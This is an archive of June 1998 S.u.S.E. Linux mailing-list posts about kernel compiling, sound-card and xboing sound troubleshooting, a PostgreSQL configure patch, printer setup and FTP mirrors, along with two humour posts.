hettar(a)teleport.com


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From satan@nfinity.com Mon Jun 15 00:04:22 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Networking - Internet
Date: Sun, 14 Jun 1998 19:04:22 -0500
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Kenneth W. Schuller wrote:
>=20
> 2.  Your kernel has to support PPP-  "out of the box" the SuSE 5.2 kernel
> does not.  This means you have to recompile the kernel using "make xconfig".

Not necessarily.  Make config and make menuconfig work fine too.  I
dislike building kernels in x, but that is a personal preference.

> 3.  (This is where I screwed up) "make dep clean zImage" just builds the ke=
rnel, not modules.  After the >kernel's done making, you _have_ to make the
> modules.

I am surprised there has been confusion over building kernels this last
weekend.  That is a pretty well documented task.  For the record:

make mrproper
make config (or menuconfig or xconfig)
make dep=20
make clean
make zImage
make modules
make modules_install
cp arch/i386/boot/zImage /vmlinuz
/sbin/lilo

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From hattons@cpkwebser5.ncr.disa.mil Mon Jun 15 00:06:57 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE Background problem
Date: Sun, 14 Jun 1998 20:06:57 -0400
Message-ID: <358465A0.A29F3EAD@cpkwebser5.ncr.disa.mil>
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Well I fixed it.  I downloaded qt 1.33, and installed it.  I'm not sure
what was there before.  As soon as I did that and restarted KDM all was
cool.

Steven T. Hatton wrote:

> All,
>
> I am having a problem  with my backgrounds in KDE 1.0b4.  I am not able
> to get them to display.  The last significant change I made was setting
> my mouse to an intellimouse.  This did not cause a problem immediately.
> The problem came on suddenly, and without anything significant
> immediately preceding it.  I have uninstalled then reinstalled the KDE
> and all the X stuff.  I reinstalled all the qt stuff that I could find.
> If I look in the .xsession-errors I see:
>
> Warning: Could not attach SHM.
> QPixmap::convertFromImage: Cannot convert a null image
> KBackground::KBackground
> KScreenSaver::KScreenSaver
> KGeneral::KGeneral
> KFM seems to be crashed !!!!!!! Running new KFM !!!!!!!!!!!!!!
> Adding waiting: 135281896, 0
> Adding waiting: 135281568, 0
> emit documentStarted( this );
> Adding waiting: 135281568, 1
> Parsing : file:/root/
> emit documentStarted( this );
> Adding waiting: 135281896, 1
> Parsing : file:/root/
> Parsing done
> emit documentDone( this );
> Removed waiting: 135281896, 0
> Parsing done
> emit documentDone( this );
> Removed waiting: 135281568, 0
> KGeneral::KGeneral
> KBackground::KBackground
> QPixmap::convertFromImage: Cannot convert a null image
> QGManager: not enough space for 1-item horizontal chain with 0 branches
> QGManager: not enough space for 1-item horizontal chain with 0 branches
> KScreenSaver::KScreenSaver
> KColorScheme::KColorScheme
> QPixmap::convertFromImage: Cannot convert a null image
> Got background reload event
> QPixmap::convertFromImage: Cannot convert a null image
> Parsing : file:/opt/kde/share/doc/HTML/default/kppp/kppp.html
> Parsing done
>
> It looks to me that the problem is related to the line:
> "QPixmap::convertFromImage: Cannot convert a null image"
>
> Any Ideas?
>
> TIA,
>
> Steve
>
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From deem@wdm.com Mon Jun 15 01:30:45 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] tiles to the app bar ?
Date: Sun, 14 Jun 1998 17:30:45 -0800
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After looking at http://www.themes.org/totd/>, it would be nice =
to add
some the tiles available as the background to the app bar
in the default desktop of SuSE 5.2. Someone know how to accomplish
this and willing to share ? Much appreciated.

-Dee


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From satan@nfinity.com Mon Jun 15 01:58:20 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] jurix
Date: Sun, 14 Jun 1998 20:58:20 -0500
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I found a German ftp server with Jurix.  Jurix isn't maintained anymore,
is it?

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From hekate@intergate.bc.ca Mon Jun 15 02:34:45 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] REMOVE
Date: Sun, 14 Jun 1998 19:34:45 -0700
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That's not insensitive..just a helpful pointer.  

On Sun, 14 Jun 1998, Michael Lankton wrote:

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From satan@nfinity.com Mon Jun 15 02:41:45 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] tiles to the app bar ?
Date: Sun, 14 Jun 1998 21:41:45 -0500
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I don't use fvwm, but I suspect that is a variable that can be changed
in fvwmrc.  Both afterstep and windowmaker set the tile background in a
text file, I'm sure fvwm does too.  Just find the system fvwmrc and look
for the iconback setting, or whatever fvwm refers to it as.

W.D.McKinney wrote:
>=20
> After looking at http://www.themes.org/totd/>, it would be nic=
e to add
> some the tiles available as the background to the app bar
> in the default desktop of SuSE 5.2. Someone know how to accomplish
> this and willing to share ? Much appreciated.
>=20
> -Dee
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From kiril@u.washington.edu Mon Jun 15 07:51:25 1998
From: kiril@u.washington.edu
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Postgres 6.3.2
Date: Mon, 15 Jun 1998 00:51:25 -0700
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Has anybody been able to load postgres 6.3.2 with SuSE 5.1?  For some
reason I can not get psql to compile in the make.  The version  of
postgres that came with SuSE 5.1--postgres 6.2-- seems to load off the
distribution disks with no problem.  Although I would much prefer that
SuSE loaded postgres in /usr/local/pgsql and not in /usr/bin.
Thanks for any help.

Kerry


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From ke@suse.de Mon Jun 15 09:04:40 1998
From: ke@suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Postgres 6.3.2
Date: Mon, 15 Jun 1998 11:04:40 +0200
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Kerry Boguszewski-Odom  writes:

|   Has anybody been able to load postgres 6.3.2 with SuSE 5.1?

Not tested -- but it definitely works with 5.2.  Please, apply the
configure.in patch I posted last week.

|   Although I would much prefer that SuSE loaded postgres in
|   /usr/local/pgsql and not in /usr/bin.

/usr/local is not an option -- but I consider to use sonmething like
/usr/lib/pgsql in the future (maybe with 6.0, not with 5.3).


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From mbouron@lhr-sys.DHL.COM Mon Jun 15 09:11:31 1998
From: mbouron@lhr-sys.DHL.COM
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] what configuration for HP CopyJet?
Date: Mon, 15 Jun 1998 10:11:31 +0100
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Hello,

I have an HP CopyJet and have been trying to get it working with my
new-ly installed SuSE 5.2 system.  I'm trying to configure apsfilter
and gs, but I'm not clear as to which driver to use.  I've variously
tried hpdj and pjxl300 without complete success.  I can print plain
ASCII, but getting gs to print is more problematic - I get garbage. 
What printer should I send gs output to (and what gs driver should I
use), and how should I configure that printer in apsfilterrc?

Cheers,
          Marc.

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From mhtexcollins@ccms.net Mon Jun 15 10:19:50 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Anyone experience sound with xboing?
Date: Mon, 15 Jun 1998 05:19:50 -0500
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I too have no sound in Xboing.  Also none in kde.  But that is a kde prob.

Terry Eck wrote:

> I asked for help concerning sound support under SuSE 5.2 before. Sound
> for most programs was working with my custom compiled kernel (had sound
> compiled in). Someone suggested that sound works better as a module so
> I reverted back to the original kernel supplied with SuSE 5.2. Went into
> /usr/src/linux.../sound and compiled (after reading several Readme files).
> I have a non-pnp soundblaster 16. I copied the file sound.o to the modules
> tree and sure enough when I run a program requiring sound the module is
> loaded automagicly and sound plays. This is all great, as far as it goes.
>
> I still cannot get sound with xboing. I know sounds should be heard
> with xboing. Here is the question I hope someone will be kind enough to
> answer:
>
>       Does sound work for you when you play xboing?
>
> If the answer is yes could you please add details as to you configuration.
> If the answer is no (and other programs produce sound) then please also
> response. This way I can stop trying to get sound to work.
>
> Thanks for your time,
> Terry
>
> ___________________________________________________________________________=
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From mhtexcollins@ccms.net Mon Jun 15 12:15:17 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Anyone experience sound with xboing?
Date: Mon, 15 Jun 1998 07:15:17 -0500
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another question that has been bugging me.

Lawrence Sayre wrote:

> I also have no sound, but on a P200+ Cyrix the game goes so fast it is
> unplayable.  Is there a way to slow it down?
>
> -----------------------------------------------
> Man's mind is his basic tool of survival!
>
> Lawrence Sayre 
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From hettar@teleport.com Mon Jun 15 13:12:15 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Mon, 15 Jun 1998 06:12:15 -0700
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Hia SuSE!

I finally said good bye to OSS!!
As OSS used to lock my system up
when trying to play au's, mp3s, waves
and midi... so good riddence!

I dug deep into the HOWTO's for my soundblaster
which is a SB-64Gold Awe

And I got it working well enough for it
to play au's and mp3s and audio cds
so far ;) I am way happy..but unable
to load soundbanks cause of two missing
things..

But, I have two things which are missing
from a cat /dev/sndstat: here is mine right now:

warhammer:/home/hettar # cat /dev/sndstat
Sound Driver:3.5.4-960630 (Mon Jun 15 04:31:50 PDT 1998 root,
Linux warhammer 2.0.33 #1 Mon Jun 15 03:06:17 PDT 1998 i586 unknown)
Kernel: Linux warhammer 2.0.33 #2 Mon Jun 15 04:32:41 PDT 1998 i586
Config options: 0

Installed drivers:
Type 1: OPL-2/OPL-3 FM
Type 2: Sound Blaster
Type 7: SB MPU-401

Card config:
Sound Blaster at 0x220 irq 5 drq 1,5
SB MPU-401 at 0x330 irq 5 drq 0
OPL-2/OPL-3 FM at 0x388 drq 0

Audio devices:
0: Sound Blaster 16 (4.16)

Synth devices:
0: Yamaha OPL-3
                                     <-missing 1:AWE32-0.4.2c (RAM512)
Midi devices:
0: Sound Blaster 16

Timers:
0: System clock

Mixers:
0: Sound Blaster
                                    <-missing 1:AWE32 Equalizer

Now I have compiled the kernel with Additional
low level drivers with AWE synth picked..
(I even upgraded suse's awedrv) once without upgrading

and I have 1-1v of isapnptools which I edited the
isapnp.conf (had problems here) ..I think this is
where my problem is..but I'd like to know if anyone
can help me here..

It seams I had to put in (VERIFYLD N)
and it had a problem with one of the last
IO neer the end under -->waveTable<--
which was ((IO 2 (BASE 0x0e20)) which
I ended up leaveing out..

I am wondering how I can figure out what
I can do about it..

please help
Steve Udell
hettar(a)teleport.com


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From eck@ti.com Mon Jun 15 13:47:17 1998
From: eck@ti.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Anyone experience sound with xboing?
Date: Mon, 15 Jun 1998 08:47:17 -0500
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I asked for help concerning sound support under SuSE 5.2 before. Sound
for most programs was working with my custom compiled kernel (had sound
compiled in). Someone suggested that sound works better as a module so
I reverted back to the original kernel supplied with SuSE 5.2. Went into
/usr/src/linux.../sound and compiled (after reading several Readme files).
I have a non-pnp soundblaster 16. I copied the file sound.o to the modules
tree and sure enough when I run a program requiring sound the module is
loaded automagicly and sound plays. This is all great, as far as it goes.

I still cannot get sound with xboing. I know sounds should be heard
with xboing. Here is the question I hope someone will be kind enough to
answer:

      Does sound work for you when you play xboing?

If the answer is yes could you please add details as to you configuration.
If the answer is no (and other programs produce sound) then please also
response. This way I can stop trying to get sound to work.

Thanks for your time,
Terry

_____________________________________________________________________________
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From satan@nfinity.com Mon Jun 15 15:22:41 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Anyone experience sound with xboing?
Date: Mon, 15 Jun 1998 10:22:41 -0500
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I have an AWE32, have sound compiled as a module, and have configured
isapnp.  I have sound for mp3's,  audio cd's,  Quake/Quake2/Doom,
Realplayer,  Xanim,  and midi.  I also have sound for Xmame and games
that use the rplay daemon, but ONLY if I boot from loadlin, so obviously
something is configured in DOS that isn't getting configured in a lilo
boot.  I haven't tracked this down yet, but it is so trivial that I
haven't been in a big hurry.  Try booting from loadlin if you dual boot,
and see if you then have sound in Xboing.  If so we have the same
problem and perhaps someone might offer an answer as to what the problem
is.

Terry Eck wrote:
> 
> I asked for help concerning sound support under SuSE 5.2 before. Sound
> for most programs was working with my custom compiled kernel (had sound
> compiled in). Someone suggested that sound works better as a module so
> I reverted back to the original kernel supplied with SuSE 5.2. Went into
> /usr/src/linux.../sound and compiled (after reading several Readme files).
> I have a non-pnp soundblaster 16. I copied the file sound.o to the modules
> tree and sure enough when I run a program requiring sound the module is
> loaded automagicly and sound plays. This is all great, as far as it goes.
> 
> I still cannot get sound with xboing. I know sounds should be heard
> with xboing. Here is the question I hope someone will be kind enough to
> answer:
> 
>       Does sound work for you when you play xboing?
> 
> If the answer is yes could you please add details as to you configuration.
> If the answer is no (and other programs produce sound) then please also
> response. This way I can stop trying to get sound to work.
> 
> Thanks for your time,
> Terry

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From eck@ti.com Mon Jun 15 15:57:59 1998
From: eck@ti.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Anyone experience sound with xboing?
Date: Mon, 15 Jun 1998 10:57:59 -0500
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I will give you suggestion about loadlin a try but I don't think my
soundcard needs to be initialized under DOS. I'm getting sound with
all the programs (quake/doom/xpat2/...) except xboing. You did not 
mention if you've run xboing. I assume this means you don't. I would 
still like someone to answer the following:

     If you run xboing, does it produce sound and if so what is
     your configuration?

Thanks for your reply
Terry 

On Mon, 15 Jun 1998, Michael Lankton wrote:
> 
> I have an AWE32, have sound compiled as a module, and have configured
> isapnp.  I have sound for mp3's,  audio cd's,  Quake/Quake2/Doom,
> Realplayer,  Xanim,  and midi.  I also have sound for Xmame and games
> that use the rplay daemon, but ONLY if I boot from loadlin, so obviously
> something is configured in DOS that isn't getting configured in a lilo
> boot.  I haven't tracked this down yet, but it is so trivial that I
> haven't been in a big hurry.  Try booting from loadlin if you dual boot,
> and see if you then have sound in Xboing.  If so we have the same
> problem and perhaps someone might offer an answer as to what the problem
> is.
> 
> Terry Eck wrote:
> > 
> >       Does sound work for you when you play xboing?
> > 
> > If the answer is yes could you please add details as to you configuration.
> > If the answer is no (and other programs produce sound) then please also
> > response. This way I can stop trying to get sound to work.
> > 


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From kiril@u.washington.edu Mon Jun 15 16:11:42 1998
From: kiril@u.washington.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Postgres 6.3.2
Date: Mon, 15 Jun 1998 09:11:42 -0700
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On 15 Jun 1998, Karl Eichwalder wrote:

> 
> Not tested -- but it definitely works with 5.2.  Please, apply the
> configure.in patch I posted last week.
> 

Okay, I'm going to try to load postgres 6.3.2 with SuSE 5.1 and I found
the patch that was posted last week.  But how does one apply this patch?
I am eager to use the new features of postgres 6.3.2.  Thanks for any
help.

Kerry 


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From ke@suse.de Mon Jun 15 16:36:33 1998
From: ke@suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Postgres 6.3.2
Date: Mon, 15 Jun 1998 18:36:33 +0200
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Kerry Boguszewski-Odom  writes:

|   Okay, I'm going to try to load postgres 6.3.2 with SuSE 5.1 and I found
|   the patch that was posted last week.  But how does one apply this patch?
|   I am eager to use the new features of postgres 6.3.2.  Thanks for any
|   help.

Save this mail as a file (e.g. postgresql.diff), change into the
directory `postgresql-6.3.2':

    cd .../postgresql-6.3.2

and say:

    patch -p1 < .../postgresql.diff

then invoke `autoconf' to produce a new configure script.  Replace the
dots (`...') with your paths.  Here's the patch again:

*** postgresql-6.3.2/src/configure.in~	Fri Apr 17 09:00:46 1998
--- postgresql-6.3.2/src/configure.in	Mon May 11 17:37:34 1998
***************
*** 305,311 ****
  dnl fi
  dnl AC_SUBST(HAVECXX)
  dnl ****************************************************************
! HAVECXX=3D'HAVE_Cplusplus=3Dfalse'
  AC_SUBST(HAVECXX)
  INSTALLPATH=3D"/usr/ucb:$PATH"
  AC_PATH_PROGS(INSTALL, ginstall installbsd bsdinst scoinst install, NONE, $=
INSTALLPATH)
--- 305,311 ----
  dnl fi
  dnl AC_SUBST(HAVECXX)
  dnl ****************************************************************
! HAVECXX=3D'HAVE_Cplusplus=3Dtrue'
  AC_SUBST(HAVECXX)
  INSTALLPATH=3D"/usr/ucb:$PATH"
  AC_PATH_PROGS(INSTALL, ginstall installbsd bsdinst scoinst install, NONE, $=
INSTALLPATH)
***************
*** 400,406 ****
  fi
 =20
  AC_CHECK_LIB(sfio,     main)
! AC_CHECK_LIB(curses,   main)
  AC_CHECK_LIB(termcap,  main)
  AC_CHECK_LIB(history,  main)
  AC_CHECK_LIB(readline, main)
--- 400,409 ----
  fi
 =20
  AC_CHECK_LIB(sfio,     main)
! for curses in ncurses curses ; do
!    AC_CHECK_LIB(${curses}, main,
!      [LIBS=3D"-l${curses} $LIBS"; break])
! done
  AC_CHECK_LIB(termcap,  main)
  AC_CHECK_LIB(history,  main)
  AC_CHECK_LIB(readline, main)


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From satan@nfinity.com Mon Jun 15 16:40:58 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Anyone experience sound with xboing?
Date: Mon, 15 Jun 1998 11:40:58 -0500
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Here is an excerpt from the man page for xboing:
The sound option will enable sound to be turned on  if  possible.
Within  the game you may press  to toggle sound on or off. The
default is OFF.
Hmm, I knew that man pages were there for a reason.

Terry Eck wrote:
> 
> I will give you suggestion about loadlin a try but I don't think my
> soundcard needs to be initialized under DOS. I'm getting sound with
> all the programs (quake/doom/xpat2/...) except xboing. You did not
> mention if you've run xboing. I assume this means you don't. I would
> still like someone to answer the following:
> 
>      If you run xboing, does it produce sound and if so what is
>      your configuration?
> 
> Thanks for your reply
> Terry

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From eck@ti.com Mon Jun 15 17:29:07 1998
From: eck@ti.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Anyone experience sound with xboing?
Date: Mon, 15 Jun 1998 12:29:07 -0500
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I know about the man xboing and the option  and the command line
option -sound. I've played xboing on RedHat Linux with sound. I've
play xboing on SuSE and sound does not work for me. I'll have to assume
that xboing sound is broken under SuSE 5.2 unless someone can tell me
they have run xboing and they hear sound. I will not go back into
my hole and play xboing without sound.

Regards,
Terry

On Mon, 15 Jun 1998, Michael Lankton wrote:
> 
> Here is an excerpt from the man page for xboing:
> The sound option will enable sound to be turned on  if  possible.
> Within  the game you may press  to toggle sound on or off. The
> default is OFF.
> Hmm, I knew that man pages were there for a reason.
> 

_____________________________________________________________________________
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From hatridge@straubing.baynet.de Mon Jun 15 18:11:08 1998
From: hatridge@straubing.baynet.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] The Gospel according to a Hacker
Date: Mon, 15 Jun 1998 20:11:08 +0200
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                 The Gospel according to a Hacker

     In the beginning there was the C,  and the C was with Ritchie,
and the C was UNIX.  The same was in the beginning with Kernighan and
Ritchie;  and the UNIX shineth in darkness,  and the DOS comprehendeth
it not.

     There was a man sent from MIT,  whose name was Stallman.  The
same came for a witness,  to bear witness of the GNU.  He said,  "I am
the voice of one crying in the wilderness, `make straight the path of
the GNU,'  as saith the EMACS."

     The next day Stallman seeth Linus coming unto him,  and saith,
"Behold the kernel of the GNU,  which taketh away the price of the
software."  And Stallman bare record,  saying,  "I saw the Linux
descending upon Linus from C like a penguin."

     And Linus said,

        "Blessed be the eight-char tab,
        "and blessed be the 24-line screen,
        "and blessed be the broken-up function.
        "Be compatible with those who are incompatible with you,
        "and emulate those who ignore your API."

     For Stallman so loved the GNU,  that he he gave his only written
software,  the EMACS,  that all through it might be freed.

    And Linus wrote an OS,  even the 0.99 version, and the 1.x
version, and the 2.x version.  And behold,  Linux ran Emacs,  and
Netscape,  and Motif.  But the disciples of Linus wished all to be free
like the EMACS,  and wrote Lesstif,  and Wine,  and GIMP.

    And as he gave his disciples bits of Wine and bits of DOS,  they
asked,  "What will happen to BSD?"  And Linus said,  "The BSD people
should have added these features a long time ago.  Now mabey they will."

    And he who addeth or fixeth shall be glorified as a great
hacker.  Be it ever so done,  in the name of UNIX,  Amen.

 


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From lavoie@netcom.ca Mon Jun 15 21:07:42 1998
From: lavoie@netcom.ca
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Windows Error Messages
Date: Mon, 15 Jun 1998 17:07:42 -0400
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Forgive me if you've seen this before, but I loved it so much, I hjust
*had* to share it with a like-minded audience.

The following are new Windows messages that are under consideration
for the planned Windows 2000:

1) Smash forehead on keyboard to continue.
2) Enter any 11-digit prime number to continue.
3) Press any key to continue or any other key to quit.
4) Press any key except... no, No, NO, NOT THAT ONE!
5) Press Ctrl-Alt-Del now for IQ test.
6) Close your eyes and press escape three times.
7) Bad command or file name! Go stand in the corner.
8) This will end your Windows session. Do you want to play another
game?
9) Windows message: "Error saving file! Format drive now? (Y/Y)"
10) This is a message from God Gates: "Rebooting the world.
Please log off."
11) To "shut down" your system, type "WIN."
12) BREAKFAST.SYS halted... Cereal port not responding.
13) COFFEE.SYS missing... Insert cup in cup holder and press any key.
14) CONGRESS.SYS corrupted... Re-boot Washington D.C? (Y/N)
15) File not found. Should I fake it? (Y/N)
16) Bad or missing mouse. Spank the cat? (Y/N)
17) Runtime Error 6D at 417A:32CF: Incompetent User.
18) Error reading FAT record: Try the SKINNY one? (Y/N)
19) WinErr 16547: LPT1 not found. Use backup. (PENCIL & PAPER.SYS)
20) User Error: Replace user.
21) Windows VirusScan 1.0 - "Windows found: Remove it? (Y/N)"
22) Welcome to Microsoft's World - Your Mortgage is Past Due...
23) If you are an artist, you should know that Bill Gates owns you
and all your future creations. Doesn't it feel nice to have
security?
24) Required Government Warning: After we got caught in cahoots
with the hardware manufacturers for trying to needlessly fill
your hard drives, the following message is now required as you
save your files in Word.
"Word has detected that you don't wish to save your text file
as a lumpy and space wasting .doc format filled with potential
viruses. Would you like to save your old outdated ascii file
as a Word file anyway?"
25) Your hard drive has been scanned and all stolen software titles
have been deleted. The police are on the way.

:-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-)
:-) :-) :-)

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>=20

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From lsayre@integrityonline13.com Tue Jun 16 00:20:37 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Anyone experience sound with xboing?
Date: Mon, 15 Jun 1998 19:20:37 -0500
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TEX wrote:
>=20
> I too have no sound in Xboing.  Also none in kde.  But that is a kde prob.
>=20
> Terry Eck wrote:
>=20
> > I asked for help concerning sound support under SuSE 5.2 before. Sound
> > for most programs was working with my custom compiled kernel (had sound
> > compiled in). Someone suggested that sound works better as a module so
> > I reverted back to the original kernel supplied with SuSE 5.2. Went into
> > /usr/src/linux.../sound and compiled (after reading several Readme files).
> > I have a non-pnp soundblaster 16. I copied the file sound.o to the modules
> > tree and sure enough when I run a program requiring sound the module is
> > loaded automagicly and sound plays. This is all great, as far as it goes.
> >
> > I still cannot get sound with xboing. I know sounds should be heard
> > with xboing. Here is the question I hope someone will be kind enough to
> > answer:
> >
> >       Does sound work for you when you play xboing?
> >
> > If the answer is yes could you please add details as to you configuration.
> > If the answer is no (and other programs produce sound) then please also
> > response. This way I can stop trying to get sound to work.
> >
> > Thanks for your time,
> > Terry
> >
> > _________________________________________________________________________=
____
> > Terry Eck        //// Hukt on Foniks Rilly Wurkt Fer Mee! /=
///
> >
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>=20
> --
> -
> -
> --
> IMHO BEST Beginners book so far. Sams' Teach Yourself Linux in 24 hours.
> redhat press.
>=20
> -
> Celis Gran Cru and Linux;  Nowhere but South Austin Texas.
> -
> -
> -
> TEX             http://www.ccms.net/~=
mhtexcollins/78704.htm>
>=20

I also have no sound, but on a P200+ Cyrix the game goes so fast it is
unplayable.  Is there a way to slow it down?

-----------------------------------------------
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Lawrence Sayre 
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From mclark@datsrvr.datsit.com Tue Jun 16 02:45:23 1998
From: mclark@datsrvr.datsit.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSe 5.2 says new kernel is too big?
Date: Mon, 15 Jun 1998 20:45:23 -0600
Message-ID: <3585DC43.2619E678@datsit.com>
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I believe that when you use:

make zImage -- it makes that file

if you type:

make zlilo  -- instead, the kernel will be compressed and installed
automatically

hope that helps
mc

TEX wrote:

> Thanks for explaining why the kernel comes from where it does.  I have been
> trying to figure that one out.    When does it get compressed and called
> zImage?
>
> Thanks again..
>
> Michael Clark wrote:
>
> > Lawrence Sayre wrote:
> >
> > thing that I did on my first few attempts to manually compile my own
> > kernels was trying to install the uncompressed kernel.  When I would
> > compile the kernel, I would copy the kernel to /vmlinuz and run lilo.
> >
> > /usr/src/linux/vmlinuz about 870k, kernel too big
> >
> > /usr/src/linux/arch/i386/boot/zImage about 360k, works great!!  :-)
> >
> > It sounds like this may be the problem.  If not, maybe this will save
> > someone else headaches.
> >
> > mc
>
> --
> -
> -
> --
> IMHO BEST Beginners book so far. Sams' Teach Yourself Linux in 24 hours.
> redhat press.
>
> -
> Celis Gran Cru and Linux;  Nowhere but South Austin Texas.
> -
> -
> -
> TEX             http://www.ccms.net/~=
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>
>                      __
>                     / /    __  _  _  _  _ __  __
>                    / /__  / / / \// //_// \ \/ /
>                   /____/ /_/ /_/\/ /___/  /_/\_\
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From dana@ntd.net Tue Jun 16 02:57:05 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Suse FTP Sites?
Date: Mon, 15 Jun 1998 21:57:05 -0500
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What's up with the ftp.suse.com site?  Or a few mirrors for that matter.
I "cannot" grab any of the files from /pub/suse_update/KDE/* that
are large, as in the qt dev 1.33, kdadmin, etc.  What happens is that
I get a timeout after 2% transfer, end of story.  I have not had *any*
other problems ftp'ing off other sites, even grabbed Staroffice 4.0
without a hitch.  This is getting annoying, since I wanted to try the
latest KDE and QT stuff.  Anyone know of a reliable mirror site?

Dana


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From roberto@cbvcp.com Tue Jun 16 03:06:47 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Windows Error Messages
Date: Mon, 15 Jun 1998 20:06:47 -0700
Message-ID: <3585E147.544E2A97@cbvcp.com>
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speaking of widows error messages, i got one when setting up a modem for my
mom.  im sure most of you can guess which number it was, and i swear that
im not making this up.  i find it sad, in light of this and the "unable to
follow directions" joke in the thesaurus, that people put up with this
excuse for a program.

Ron Lavoie wrote:

> Forgive me if you've seen this before, but I loved it so much, I hjust
> *had* to share it with a like-minded audience.
>
> The following are new Windows messages that are under consideration
> for the planned Windows 2000:
>
> 1) Smash forehead on keyboard to continue.
> 2) Enter any 11-digit prime number to continue.
> 3) Press any key to continue or any other key to quit.
> 4) Press any key except... no, No, NO, NOT THAT ONE!
> 5) Press Ctrl-Alt-Del now for IQ test.
> 6) Close your eyes and press escape three times.
> 7) Bad command or file name! Go stand in the corner.
> 8) This will end your Windows session. Do you want to play another
> game?
> 9) Windows message: "Error saving file! Format drive now? (Y/Y)"
> 10) This is a message from God Gates: "Rebooting the world.
> Please log off."
> 11) To "shut down" your system, type "WIN."
> 12) BREAKFAST.SYS halted... Cereal port not responding.
> 13) COFFEE.SYS missing... Insert cup in cup holder and press any key.
> 14) CONGRESS.SYS corrupted... Re-boot Washington D.C? (Y/N)
> 15) File not found. Should I fake it? (Y/N)
> 16) Bad or missing mouse. Spank the cat? (Y/N)
> 17) Runtime Error 6D at 417A:32CF: Incompetent User.
> 18) Error reading FAT record: Try the SKINNY one? (Y/N)
> 19) WinErr 16547: LPT1 not found. Use backup. (PENCIL & PAPER.SYS)
> 20) User Error: Replace user.
> 21) Windows VirusScan 1.0 - "Windows found: Remove it? (Y/N)"
> 22) Welcome to Microsoft's World - Your Mortgage is Past Due...
> 23) If you are an artist, you should know that Bill Gates owns you
> and all your future creations. Doesn't it feel nice to have
> security?
> 24) Required Government Warning: After we got caught in cahoots
> with the hardware manufacturers for trying to needlessly fill
> your hard drives, the following message is now required as you
> save your files in Word.
> "Word has detected that you don't wish to save your text file
> as a lumpy and space wasting .doc format filled with potential
> viruses. Would you like to save your old outdated ascii file
> as a Word file anyway?"
> 25) Your hard drive has been scanned and all stolen software titles
> have been deleted. The police are on the way.
>
> :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-) :-)
> :-) :-) :-)
>
> Subscribe to daily jokes for free at http://move.to/jokes>
>
> >
> >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> >
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From hettar@teleport.com Tue Jun 16 04:09:08 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Mon, 15 Jun 1998 21:09:08 -0700
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Steven Udell wrote:

> Hia SuSE!
>
> I finally said good bye to OSS!!
> As OSS used to lock my system up
> when trying to play au's, mp3s, waves
> and midi... so good riddence!
>
> I dug deep into the HOWTO's for my soundblaster
> which is a SB-64Gold Awe
>
> And I got it working well enough for it
> to play au's and mp3s and audio cds
> so far ;) I am way happy..but unable
> to load soundbanks cause of two missing
> things..
>

  Well so much for that ;)
I fixed it...
Linux Native Sound for the SoundBlaster 64Gold
Everything works and it doesn't hang my system
like OSS/Linux did.

I got au's mods midis mp3 waves and audio cds
working so far. Next is prob a plug in for netscape
and real audio and then doom/quake/ whatever.

Cya
Steven Udell
hettar(a)teleport.com


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From deem@wdm.com Tue Jun 16 04:21:47 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Mon, 15 Jun 1998 20:21:47 -0800
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Steven Udell  wrote:
> 
> >
> 
>   Well so much for that ;)
> I fixed it...
> Linux Native Sound for the SoundBlaster 64Gold
> Everything works and it doesn't hang my system
> like OSS/Linux did.
> 
> I got au's mods midis mp3 waves and audio cds
> working so far. Next is prob a plug in for netscape
> and real audio and then doom/quake/ whatever.

So what apps are you using for au's mods midis mp3 waves ?


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From tanc@cuug.ab.ca Tue Jun 16 04:38:14 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Suse FTP Sites?
Date: Mon, 15 Jun 1998 22:38:14 -0600
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Try ftp.cc.gatech.edu . =20

Regards,
C. J. Tan

On Mon, 15 Jun 1998, Dana J. Laude wrote:

> Date: Mon, 15 Jun 1998 21:57:05 -0500
> From: "Dana J. Laude" 
> Reply-To: suse-linux-e(a)suse.com
> To: suse-linux-e(a)suse.com
> Subject: [S.u.S.E. Linux] Suse FTP Sites?
>=20
>=20
